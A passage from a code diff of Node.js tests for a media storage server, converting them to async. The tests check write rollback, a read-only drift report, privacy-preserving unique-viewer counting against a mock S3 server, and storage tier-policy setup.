+ await assert.rejects(async () => await db.createClip({ app_id: 'live', vod_id: vodId, title: 'No object', status: 'processing' }), /object write refused/);
+ await unchanged('createClip: neither row');
+ assert.strictEqual((await call('POST', '/files', form('file', Buffer.from('never stored'), 'text/plain', 'never.txt'))).status, 500);
+ await unchanged('POST /files: neither row');
+ assert.strictEqual((await call('POST', '/pastes', form('screenshot', png, 'image/png', 'never.png'))).status, 500);
+ await unchanged('POST /pastes screenshot: neither row');
+
+ // Updates: the row keeps its old values when its object cannot follow.
+ await assert.rejects(async () => await db.setVodVisibility(vodId, 'public'), /object write refused/);
+ assert.strictEqual((await db.get('SELECT visibility FROM vods WHERE id = ?', [vodId])).visibility, 'private', 'visibility change rolled back');
+ assert.strictEqual((await call('PUT', `/clips/${upId}`, { title: 'Lost' })).status, 500);
+ assert.strictEqual((await db.get('SELECT title FROM clips WHERE id = ?', [upId])).title, 'Better', 'clip title rolled back');
+ // The announce() path: a finalize whose object cannot be written commits no ready transition (and no event).
+ await raw.prepare("UPDATE vods SET is_recording = 1, health_status = 'unknown' WHERE id = ?").run(vodId);
+ await assert.rejects(finalizeVod(vodId, { fromJob: true }), /object write refused/);
+ assert.strictEqual((await db.get('SELECT is_recording FROM vods WHERE id = ?', [vodId])).is_recording, 1, 'ready transition rolled back with its object');
+
+ // A write that throws after its projection insert leaves neither row.
+ await assert.rejects(async () => await db.withObject('vod', (x) => x.lastInsertRowid, async () => {
+ await db.run("INSERT INTO vods (app_id, title) VALUES ('live', 'half') RETURNING id");
+ throw new Error('crash after the insert');
+ }), /crash after the insert/);
+ await unchanged('thrown after the insert: neither row');
+ db.run = realRun;
+ await finalizeVod(vodId, { fromJob: true });
+ await noDrift('after the refused writes');
+ console.log('✅ a write whose object cannot be written leaves neither row (inserts, updates, announce path, a throw after the insert)');
+
+ // ── 5. Drift report: read-only, finds planted drift ──
+ await raw.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path) OVERRIDING SYSTEM VALUE VALUES (900, 'live', 3, 'Planted: no object', NULL) RETURNING id").run();
+ const upObj = (await db.get('SELECT object_id FROM clips WHERE id = ?', [upId])).object_id;
+ await raw.prepare("UPDATE media_objects SET visibility = 'private' WHERE id = ?").run(upObj);
+ const fileObj = (await db.get('SELECT object_id FROM files WHERE key = ?', [fileKey])).object_id;
+ await raw.prepare('UPDATE media_objects SET size_bytes = 1, owner_user_id = 99 WHERE id = ?').run(fileObj);
+ await raw.prepare('UPDATE pastes SET object_id = NULL WHERE slug = ?').run(slug);
+ const cutObj = (await db.get('SELECT object_id FROM clips WHERE id = ?', [cutId])).object_id;
+ await raw.prepare("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?").run(cutObj);
+
+ const snapshot = async () => (await Promise.all(['vods', 'clips', 'files', 'pastes', 'media_objects', 'media_locations', 'media_variants', 'media_relationships']
+ .map(async t => JSON.stringify(await raw.prepare(`SELECT * FROM ${t} ORDER BY ${t}::text`).all())))).join('|');
+ const snap = await snapshot();
+ const rep = await drift.buildReport(q, { limit: 5 });
+ assert.strictEqual(await snapshot(), snap, 'the report changed nothing');
+
+ assert.strictEqual(rep.total_drift, 5, drift.formatReport(rep));
+ assert.deepStrictEqual([rep.kinds.vod.missing, rep.kinds.clip.mismatch, rep.kinds.file.mismatch, rep.kinds.screenshot.unlinked], [1, 2, 1, 1]);
+ assert.deepStrictEqual([rep.field_counts.visibility, rep.field_counts.size_bytes, rep.field_counts.owner_user_id, rep.field_counts.lifecycle_status], [1, 1, 1, 1]);
+ const ex = (kind, id) => rep.kinds[kind].examples.find(e => String(e.id) === String(id));
+ assert.deepStrictEqual(ex('vod', 900).problems, ['missing']);
+ assert.deepStrictEqual(ex('clip', upId).diff.visibility, { row: 'public', object: 'private' });
+ assert.deepStrictEqual(ex('clip', cutId).diff.lifecycle_status, { row: 'failed', object: 'deleted' });
+ assert.deepStrictEqual(Object.keys(ex('file', fileKey).diff).sort(), ['owner_user_id', 'size_bytes']);
+ assert.deepStrictEqual(ex('screenshot', (await db.get('SELECT id FROM pastes WHERE slug = ?', [slug])).id).problems, ['unlinked']);
+ assert.strictEqual(rep.kinds.vod.skipped, 1, 'the clips-only recording is skipped, not drift');
+ assert.strictEqual((await drift.buildReport(q, { appId: 'network' })).total_drift, 0, '--app narrows the report');
+ assert.match(drift.formatReport(rep), /total drift: 5 of \d+ row\(s\)/);
+
+ // The script: read-only, exit 0 whatever it finds.
+ const { runScript } = require('./helpers/run-script');
+ const script = path.join(__dirname, '..', 'scripts', 'object-drift-report.js');
+ const r1 = await runScript(script, ['--json', '--limit', '1']);
+ assert.strictEqual(r1.code, 0, r1.err);
+ const out = JSON.parse(r1.out);
+ assert.strictEqual(out.total_drift, 5);
+ assert.ok(Object.values(out.kinds).every(k => k.examples.length <= 1), '--limit caps the examples per kind');
+ assert.match((await runScript(script, [])).out, /clip examples \(2 of 2\)/);
+ assert.strictEqual(await snapshot(), snap, 'the script changed nothing either');
+
+ // Re-projecting the planted rows clears the drift the report listed.
+ for (const id of [900]) await model.sync('vod', id);
+ await model.sync('clip', upId); await model.sync('clip', cutId); await model.sync('file', fileKey);
+ await model.sync('paste', (await db.get('SELECT id FROM pastes WHERE slug = ?', [slug])).id);
+ await noDrift('after re-projecting the planted drift');
+ console.log('✅ drift report: read-only (report and script), counts per kind with examples, finds missing / unlinked / mismatched objects');
+
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('✅ All object-first write tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -13,461 +13,466 @@ const path = require('path');
@@ -13,461 +13,466 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objtier-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-const sha256 = (b) => crypto.createHash('sha256').update(b).digest('hex');
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objtier-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ const sha256 = (b) => crypto.createHash('sha256').update(b).digest('hex');
-const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };
-const fault = { refusePut: null, corruptPut: null, keepOnDelete: null };
-function decodeAwsChunked(buf) {
- const out = [];
- let i = 0;
- for (;;) {
- const nl = buf.indexOf('\r\n', i);
- const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);
- if (!size) break;
- out.push(buf.subarray(nl + 2, nl + 2 + size));
- i = nl + 2 + size + 2;
- }
- return Buffer.concat(out);
-}
-const s3 = http.createServer((req, res) => {
- const chunks = [];
- req.on('data', (c) => chunks.push(c));
- req.on('end', () => {
- const u = new URL(req.url, 'http://x');
- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
- const key = rest.join('/');
- const store = buckets[bucket];
- if (!store) { res.writeHead(404); return res.end(); }
- if (!key && req.method === 'HEAD') { res.writeHead(200); return res.end(); }
- const obj = store.get(key);
- if (req.method === 'HEAD' || req.method === 'GET') {
- if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }
- res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'application/octet-stream' });
- return res.end(req.method === 'GET' ? obj : undefined);
+ const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };
+ const fault = { refusePut: null, corruptPut: null, keepOnDelete: null };
+ function decodeAwsChunked(buf) {
+ const out = [];
+ let i = 0;
+ for (;;) {
+ const nl = buf.indexOf('\r\n', i);
+ const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);
+ if (!size) break;
+ out.push(buf.subarray(nl + 2, nl + 2 + size));
+ i = nl + 2 + size + 2;
}
}
- if (req.method === 'PUT') {
- if (fault.refusePut === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }
- let body = Buffer.concat(chunks);
- if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);
- if (fault.corruptPut === bucket) { body = Buffer.from(body); body[0] ^= 0xff; } // same size, other bytes
- store.set(key, body);
- res.writeHead(200, { ETag: '"e"' });
- return res.end();
- }
- if (req.method === 'DELETE') { if (fault.keepOnDelete !== bucket) store.delete(key); res.writeHead(204); return res.end(); }
- res.writeHead(405); res.end();
+ return Buffer.concat(out);
+ }
+ const s3 = http.createServer((req, res) => {
+ const chunks = [];
+ req.on('data', (c) => chunks.push(c));
+ req.on('end', () => {
+ const u = new URL(req.url, 'http://x');
+ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
+ const key = rest.join('/');
+ const store = buckets[bucket];
+ if (!store) { res.writeHead(404); return res.end(); }
+ if (!key && req.method === 'HEAD') { res.writeHead(200); return res.end(); }
+ const obj = store.get(key);
+ if (req.method === 'HEAD' || req.method === 'GET') {
+ if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }
+ res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'application/octet-stream' });
+ return res.end(req.method === 'GET' ? obj : undefined);
+ }
+ if (req.method === 'PUT') {
+ if (fault.refusePut === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }
+ let body = Buffer.concat(chunks);
+ if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);
+ if (fault.corruptPut === bucket) { body = Buffer.from(body); body[0] ^= 0xff; } // same size, other bytes
+ store.set(key, body);
+ res.writeHead(200, { ETag: '"e"' });
+ return res.end();
+ }
+ if (req.method === 'DELETE') { if (fault.keepOnDelete !== bucket) store.delete(key); res.writeHead(204); return res.end(); }
+ res.writeHead(405); res.end();
+ });
});
});
-});
-const BROWSER = 'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0';
-const SAFARI = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15';
+ const BROWSER = 'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0';
+ const SAFARI = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15';
-(async () => {
- await new Promise((r) => s3.listen(0, '127.0.0.1', r));
- const endpoint = `http://127.0.0.1:${s3.address().port}`;
- Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
- MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',
- AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',
- });
- const db = require('../server/db/database');
- const model = require('../server/objects/model');
- const storage = require('../server/vod/vod-storage');
- const popularity = require('../server/objects/popularity');
- const policy = require('../server/objects/tier-policy');
- const tiering = require('../server/objects/tiering');
- db.upsertApp({ app_id: 'live', api_key: 'live-key-objtier' });
- db.upsertApp({ app_id: 'games', api_key: 'games-key-objtier' });
- // Keep the VOD sweep's disk-pressure drain out of this test (whatever this machine's disk looks like).
- await storage.setSettings({ hotDiskPressurePct: 100, criticalDiskPct: 100, minFreeGb: 0 }, { reason: 'test: no pressure drain' });
+ (async () => {
+ await new Promise((r) => s3.listen(0, '127.0.0.1', r));
+ const endpoint = `http://127.0.0.1:${s3.address().port}`;
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
+ MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',
+ AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',
+ });
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const storage = require('../server/vod/vod-storage');
+ // The revisioned tier policies load once the database is open (server/index.js does this at boot).
+ await storage.tierConfig.init(storage.DEFAULTS);
+ await require('../server/objects/tier-policy').init();
+ const popularity = require('../server/objects/popularity');
+ const policy = require('../server/objects/tier-policy');
+ const tiering = require('../server/objects/tiering');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-objtier' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key-objtier' });
+ // Keep the VOD sweep's disk-pressure drain out of this test (whatever this machine's disk looks like).
+ await storage.setSettings({ hotDiskPressurePct: 100, criticalDiskPct: 100, minFreeGb: 0 }, { reason: 'test: no pressure drain' });
- const today = popularity.dayOf(Date.now());
- const addObject = ({ app = 'live', size = 4096, mime = 'application/octet-stream', verified = true, hash = true, canonical = 'local' } = {}) => {
- const bytes = crypto.randomBytes(size);
- const sum = sha256(bytes);
- const id = model.createObject({ app_id: app, kind: 'file', visibility: 'public', lifecycle_status: 'ready', mime_type: mime, size_bytes: size,
- content_hash: hash ? sum : null, canonical_provider: canonical, metadata: { filename: 'x.bin' } });
- let file = null;
- if (canonical === 'local') {
- file = path.join(process.env.OBJECTS_PATH, app, id);
- fs.mkdirSync(path.dirname(file), { recursive: true });
- fs.writeFileSync(file, bytes);
- model.updateObject(id, { canonical_key: file });
- model.upsertLocation(id, { provider: 'local', key: file, state: verified ? 'present' : 'pending', size_bytes: size, checksum: hash ? sum : null, verified });
- } else {
- const key = `objects/${app}/${id}`;
- buckets['b2-bucket'].set(key, bytes);
- model.updateObject(id, { canonical_key: key });
- model.upsertLocation(id, { provider: 'b2', bucket: 'b2-bucket', key, state: 'present', size_bytes: size, verified: true });
- }
- return { id, bytes, sum, file, app };
- };
- const setViews = (id, entries) => {
- db.run('DELETE FROM media_object_views_daily WHERE object_id = ?', [id]);
- for (const [offset, n] of entries) {
- db.run('INSERT INTO media_object_views_daily (object_id, day, unique_viewers, last_viewed_at) VALUES (?, ?, ?, ?)',
- [id, popularity.addDays(today, offset), n, `${popularity.addDays(today, offset)}T12:00:00.000Z`]);
- }
- };
- const r2Row = (id) => db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'r2'", [id]);
- const ageR2 = (id, days) => db.run("UPDATE media_locations SET created_at = datetime('now', ?) WHERE object_id = ? AND provider = 'r2'", [`-${days} days`, id]);
- const decisions = (id) => db.all('SELECT * FROM media_object_tier_decisions WHERE object_id = ? ORDER BY id', [id]);
- const last = (id) => { const d = decisions(id); return d[d.length - 1]; };
- const fake = (ip, headers = {}, method = 'GET') => ({ method, ip, path: '/o/x', url: '/o/x', headers: { 'user-agent': BROWSER, ...headers } });
+ const today = popularity.dayOf(Date.now());
+ const addObject = async ({ app = 'live', size = 4096, mime = 'application/octet-stream', verified = true, hash = true, canonical = 'local' } = {}) => {
+ const bytes = crypto.randomBytes(size);
+ const sum = sha256(bytes);
+ const id = await model.createObject({ app_id: app, kind: 'file', visibility: 'public', lifecycle_status: 'ready', mime_type: mime, size_bytes: size,
+ content_hash: hash ? sum : null, canonical_provider: canonical, metadata: { filename: 'x.bin' } });
+ let file = null;
+ if (canonical === 'local') {
+ file = path.join(process.env.OBJECTS_PATH, app, id);
+ fs.mkdirSync(path.dirname(file), { recursive: true });
+ fs.writeFileSync(file, bytes);
+ await model.updateObject(id, { canonical_key: file });
+ await model.upsertLocation(id, { provider: 'local', key: file, state: verified ? 'present' : 'pending', size_bytes: size, checksum: hash ? sum : null, verified });
+ } else {
+ const key = `objects/${app}/${id}`;
+ buckets['b2-bucket'].set(key, bytes);
+ await model.updateObject(id, { canonical_key: key });
+ await model.upsertLocation(id, { provider: 'b2', bucket: 'b2-bucket', key, state: 'present', size_bytes: size, verified: true });
+ }
+ return { id, bytes, sum, file, app };
+ };
+ const setViews = async (id, entries) => {
+ await db.run('DELETE FROM media_object_views_daily WHERE object_id = ?', [id]);
+ for (const [offset, n] of entries) {
+ await db.run('INSERT INTO media_object_views_daily (object_id, day, unique_viewers, last_viewed_at) VALUES (?, ?, ?, ?)',
+ [id, popularity.addDays(today, offset), n, `${popularity.addDays(today, offset)}T12:00:00.000Z`]);
+ }
+ };
+ const r2Row = async (id) => await db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'r2'", [id]);
+ const ageR2 = async (id, days) => await db.run("UPDATE media_locations SET created_at = datetime('now', ?) WHERE object_id = ? AND provider = 'r2'", [`-${days} days`, id]);
+ const decisions = async (id) => await db.all('SELECT * FROM media_object_tier_decisions WHERE object_id = ? ORDER BY id', [id]);
+ const last = async (id) => { const d = await decisions(id); return d[d.length - 1]; };
+ const fake = (ip, headers = {}, method = 'GET') => ({ method, ip, path: '/o/x', url: '/o/x', headers: { 'user-agent': BROWSER, ...headers } });
- // ── 1. Unique viewers per object and day, with no IP address or subject id stored ──
- const seen = addObject();
- const rec = (ip, headers, method) => popularity.record(model.getObject(seen.id), fake(ip, headers, method));
- assert.deepStrictEqual(rec('203.0.113.5'), { counted: true, reason: null });
- assert.strictEqual(rec('203.0.113.5', { 'user-agent': SAFARI }).reason, 'seen', 'one network is one viewer, whatever its user agent');
- popularity._reset(); // a restart: the same day's salt comes back from the database
- assert.strictEqual(rec('203.0.113.5').reason, 'seen', 'and still once after a restart');
- assert.strictEqual(rec('198.51.100.7').counted, true);
- assert.strictEqual(rec('::ffff:198.51.100.7').reason, 'seen', 'an IPv4-mapped address is the IPv4 address');
- assert.strictEqual(rec('2001:db8:1:2::10').counted, true);
- assert.strictEqual(rec('2001:db8:1:2:aaaa:bbbb:cccc:1').reason, 'seen', 'an IPv6 /64 is one viewer');
- assert.strictEqual(rec('2001:db8:1:3::10').counted, true);
- assert.strictEqual(rec('192.0.2.10', { range: 'bytes=5000-' }).reason, 'range', 'a seek is not a view');
- assert.strictEqual(rec('192.0.2.10', { range: 'bytes=0-' }).counted, true);
- assert.strictEqual(rec('192.0.2.11', {}, 'HEAD').reason, 'method');
- assert.strictEqual(rec('192.0.2.12', { 'sec-gpc': '1' }).reason, 'opted_out');
- assert.strictEqual(rec('192.0.2.13', { dnt: '1' }).reason, 'opted_out');
- assert.strictEqual(rec('192.0.2.14', { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }).reason, 'bot');
- assert.strictEqual(rec('192.0.2.15', { 'user-agent': '' }).reason, 'bot');
- const projected = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', legacy_ref: 'legacy:live:file:abc' });
- assert.strictEqual(popularity.record(model.getObject(projected), fake('192.0.2.16')).reason, 'not_native');
- const todayRow = db.get('SELECT * FROM media_object_views_daily WHERE object_id = ? AND day = ?', [seen.id, today]);
- assert.strictEqual(todayRow.unique_viewers, 5);
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_object_viewer_days WHERE object_id = ?', [seen.id]).n, 5, 'an opted-out, bot, HEAD or seek request makes no hash at all');
- const stored = JSON.stringify([db.all('SELECT * FROM media_object_viewer_days'), db.all('SELECT * FROM media_object_views_daily'), db.all('SELECT day FROM media_object_view_salts')]);
- for (const ip of ['203.0.113.5', '198.51.100.7', '2001:db8', '192.0.2.10', 'usr_']) assert.ok(!stored.includes(ip), `nothing stored names ${ip}`);
- for (const v of db.all('SELECT viewer FROM media_object_viewer_days').map((r) => r.viewer)) {
- assert.ok(/^[0-9a-f]{16}$/.test(v));
- assert.notStrictEqual(v, sha256('203.0.113.5').slice(0, 16), 'keyed by the salt of the day, not a plain hash of the address');
- }
- assert.deepStrictEqual(['10.1.2.3', '::ffff:10.1.2.3', '2001:DB8::1', '2001:db8:0:0:ffff::9', 'fe80::1%eth0'].map(popularity.networkOf),
- ['10.1.2.3', '10.1.2.3', '2001:db8:0:0::/64', '2001:db8:0:0::/64', 'fe80:0:0:0::/64']);
- console.log('✅ a viewer counts once per object and UTC day (one network, IPv6 by /64), never a seek, HEAD, bot or opted-out request, and no address is stored');
+ // ── 1. Unique viewers per object and day, with no IP address or subject id stored ──
+ const seen = await addObject();
+ const rec = async (ip, headers, method) => await popularity.record(await model.getObject(seen.id), fake(ip, headers, method));
+ assert.deepStrictEqual(await rec('203.0.113.5'), { counted: true, reason: null });
+ assert.strictEqual((await rec('203.0.113.5', { 'user-agent': SAFARI })).reason, 'seen', 'one network is one viewer, whatever its user agent');
+ popularity._reset(); // a restart: the same day's salt comes back from the database
+ assert.strictEqual((await rec('203.0.113.5')).reason, 'seen', 'and still once after a restart');
+ assert.strictEqual((await rec('198.51.100.7')).counted, true);
+ assert.strictEqual((await rec('::ffff:198.51.100.7')).reason, 'seen', 'an IPv4-mapped address is the IPv4 address');
+ assert.strictEqual((await rec('2001:db8:1:2::10')).counted, true);
+ assert.strictEqual((await rec('2001:db8:1:2:aaaa:bbbb:cccc:1')).reason, 'seen', 'an IPv6 /64 is one viewer');
+ assert.strictEqual((await rec('2001:db8:1:3::10')).counted, true);
+ assert.strictEqual((await rec('192.0.2.10', { range: 'bytes=5000-' })).reason, 'range', 'a seek is not a view');
+ assert.strictEqual((await rec('192.0.2.10', { range: 'bytes=0-' })).counted, true);
+ assert.strictEqual((await rec('192.0.2.11', {}, 'HEAD')).reason, 'method');
+ assert.strictEqual((await rec('192.0.2.12', { 'sec-gpc': '1' })).reason, 'opted_out');
+ assert.strictEqual((await rec('192.0.2.13', { dnt: '1' })).reason, 'opted_out');
+ assert.strictEqual((await rec('192.0.2.14', { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' })).reason, 'bot');
+ assert.strictEqual((await rec('192.0.2.15', { 'user-agent': '' })).reason, 'bot');
+ const projected = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', legacy_ref: 'legacy:live:file:abc' });
+ assert.strictEqual((await popularity.record(await model.getObject(projected), fake('192.0.2.16'))).reason, 'not_native');
+ const todayRow = await db.get('SELECT * FROM media_object_views_daily WHERE object_id = ? AND day = ?', [seen.id, today]);
+ assert.strictEqual(todayRow.unique_viewers, 5);
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_object_viewer_days WHERE object_id = ?', [seen.id])).n, 5, 'an opted-out, bot, HEAD or seek request makes no hash at all');
+ const stored = JSON.stringify([await db.all('SELECT * FROM media_object_viewer_days'), await db.all('SELECT * FROM media_object_views_daily'), await db.all('SELECT day FROM media_object_view_salts')]);
+ for (const ip of ['203.0.113.5', '198.51.100.7', '2001:db8', '192.0.2.10', 'usr_']) assert.ok(!stored.includes(ip), `nothing stored names ${ip}`);
+ for (const v of (await db.all('SELECT viewer FROM media_object_viewer_days')).map((r) => r.viewer)) {
+ assert.ok(/^[0-9a-f]{16}$/.test(v));
+ assert.notStrictEqual(v, sha256('203.0.113.5').slice(0, 16), 'keyed by the salt of the day, not a plain hash of the address');
+ }
+ assert.deepStrictEqual(['10.1.2.3', '::ffff:10.1.2.3', '2001:DB8::1', '2001:db8:0:0:ffff::9', 'fe80::1%eth0'].map(popularity.networkOf),
+ ['10.1.2.3', '10.1.2.3', '2001:db8:0:0::/64', '2001:db8:0:0::/64', 'fe80:0:0:0::/64']);
+ console.log('✅ a viewer counts once per object and UTC day (one network, IPv6 by /64), never a seek, HEAD, bot or opted-out request, and no address is stored');
- // ── 2. Hashes and salt die with their day; counts roll into a 7-day window, kept 30 days ──
- const roll = addObject();
- const yesterday = popularity.addDays(today, -1);
- assert.strictEqual(popularity.record(model.getObject(roll.id), fake('203.0.113.9'), { now: Date.parse(`${yesterday}T12:00:00Z`) }).counted, true);
- const oldHash = db.get('SELECT viewer FROM media_object_viewer_days WHERE object_id = ? AND day = ?', [roll.id, yesterday]).viewer;
- assert.ok(db.get('SELECT 1 AS x FROM media_object_view_salts WHERE day = ?', [yesterday]));
- assert.strictEqual(popularity.record(model.getObject(roll.id), fake('203.0.113.9')).counted, true, 'the same network on the next day is a new viewer-day');
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_object_viewer_days WHERE day < ?', [today]).n, 0, 'the first view of a day deletes the finished days\' hashes');
- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_object_view_salts WHERE day < ?', [today]).n, 0, '...and their salts');
- assert.notStrictEqual(db.get('SELECT viewer FROM media_object_viewer_days WHERE object_id = ? AND day = ?', [roll.id, today]).viewer, oldHash, 'a new salt every day: days cannot be linked');
- assert.strictEqual(db.get('SELECT unique_viewers FROM media_object_views_daily WHERE object_id = ? AND day = ?', [roll.id, yesterday]).unique_viewers, 1, 'the count stays');
- const rs = popularity.stats({ ids: [roll.id] }).get(roll.id);
- assert.deepStrictEqual([rs.unique_viewers, rs.days_viewed, rs.last_viewed_day], [2, 2, today], 'two viewer-days');
- const win = addObject();
- setViews(win.id, [[-8, 100], [-6, 200], [0, 150]]);
- assert.strictEqual(popularity.stats({ ids: [win.id] }).get(win.id).unique_viewers, 350, 'the last 7 UTC days, today included');
- assert.strictEqual(popularity.stats({ ids: [win.id], days: 9 }).get(win.id).unique_viewers, 450);
- db.run('INSERT INTO media_object_views_daily (object_id, day, unique_viewers) VALUES (?, ?, 1), (?, ?, 1)', [win.id, popularity.addDays(today, -30), win.id, popularity.addDays(today, -31)]);
- const rot = popularity.rotate();
- assert.strictEqual(rot.counts, 1);
- assert.deepStrictEqual(db.all('SELECT day FROM media_object_views_daily WHERE object_id = ? ORDER BY day', [win.id]).map((r) => r.day),
- [popularity.addDays(today, -30), popularity.addDays(today, -8), popularity.addDays(today, -6), today], 'daily counts are kept 30 days');
- console.log('✅ a finished day\'s hashes and salt are deleted (counts stay); the 7-day window sums the daily counts; counts go after 30 days');
+ // ── 2. Hashes and salt die with their day; counts roll into a 7-day window, kept 30 days ──
+ const roll = await addObject();
+ const yesterday = popularity.addDays(today, -1);
+ assert.strictEqual((await popularity.record(await model.getObject(roll.id), fake('203.0.113.9'), { now: Date.parse(`${yesterday}T12:00:00Z`) })).counted, true);
+ const oldHash = (await db.get('SELECT viewer FROM media_object_viewer_days WHERE object_id = ? AND day = ?', [roll.id, yesterday])).viewer;
+ assert.ok(await db.get('SELECT 1 AS x FROM media_object_view_salts WHERE day = ?', [yesterday]));
+ assert.strictEqual((await popularity.record(await model.getObject(roll.id), fake('203.0.113.9'))).counted, true, 'the same network on the next day is a new viewer-day');
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_object_viewer_days WHERE day < ?', [today])).n, 0, 'the first view of a day deletes the finished days\' hashes');
+ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_object_view_salts WHERE day < ?', [today])).n, 0, '...and their salts');
+ assert.notStrictEqual((await db.get('SELECT viewer FROM media_object_viewer_days WHERE object_id = ? AND day = ?', [roll.id, today])).viewer, oldHash, 'a new salt every day: days cannot be linked');
+ assert.strictEqual((await db.get('SELECT unique_viewers FROM media_object_views_daily WHERE object_id = ? AND day = ?', [roll.id, yesterday])).unique_viewers, 1, 'the count stays');
+ const rs = (await popularity.stats({ ids: [roll.id] })).get(roll.id);
+ assert.deepStrictEqual([rs.unique_viewers, rs.days_viewed, rs.last_viewed_day], [2, 2, today], 'two viewer-days');
+ const win = await addObject();
+ await setViews(win.id, [[-8, 100], [-6, 200], [0, 150]]);
+ assert.strictEqual((await popularity.stats({ ids: [win.id] })).get(win.id).unique_viewers, 350, 'the last 7 UTC days, today included');
+ assert.strictEqual((await popularity.stats({ ids: [win.id], days: 9 })).get(win.id).unique_viewers, 450);
+ await db.run('INSERT INTO media_object_views_daily (object_id, day, unique_viewers) VALUES (?, ?, 1), (?, ?, 1)', [win.id, popularity.addDays(today, -30), win.id, popularity.addDays(today, -31)]);
+ const rot = await popularity.rotate();
+ assert.strictEqual(rot.counts, 1);
+ assert.deepStrictEqual((await db.all('SELECT day FROM media_object_views_daily WHERE object_id = ? ORDER BY day', [win.id])).map((r) => r.day),
+ [popularity.addDays(today, -30), popularity.addDays(today, -8), popularity.addDays(today, -6), today], 'daily counts are kept 30 days');
+ console.log('✅ a finished day\'s hashes and salt are deleted (counts stay); the 7-day window sums the daily counts; counts go after 30 days');
- // ── 3. The policy: revisioned, validated, the gate off by default ──
- assert.deepStrictEqual(policy.DEFAULTS, { active: false, promoteMinUniqueViewers7d: 500, promoteRecentAccessDays: 3, promoteMinSizeMb: 16,
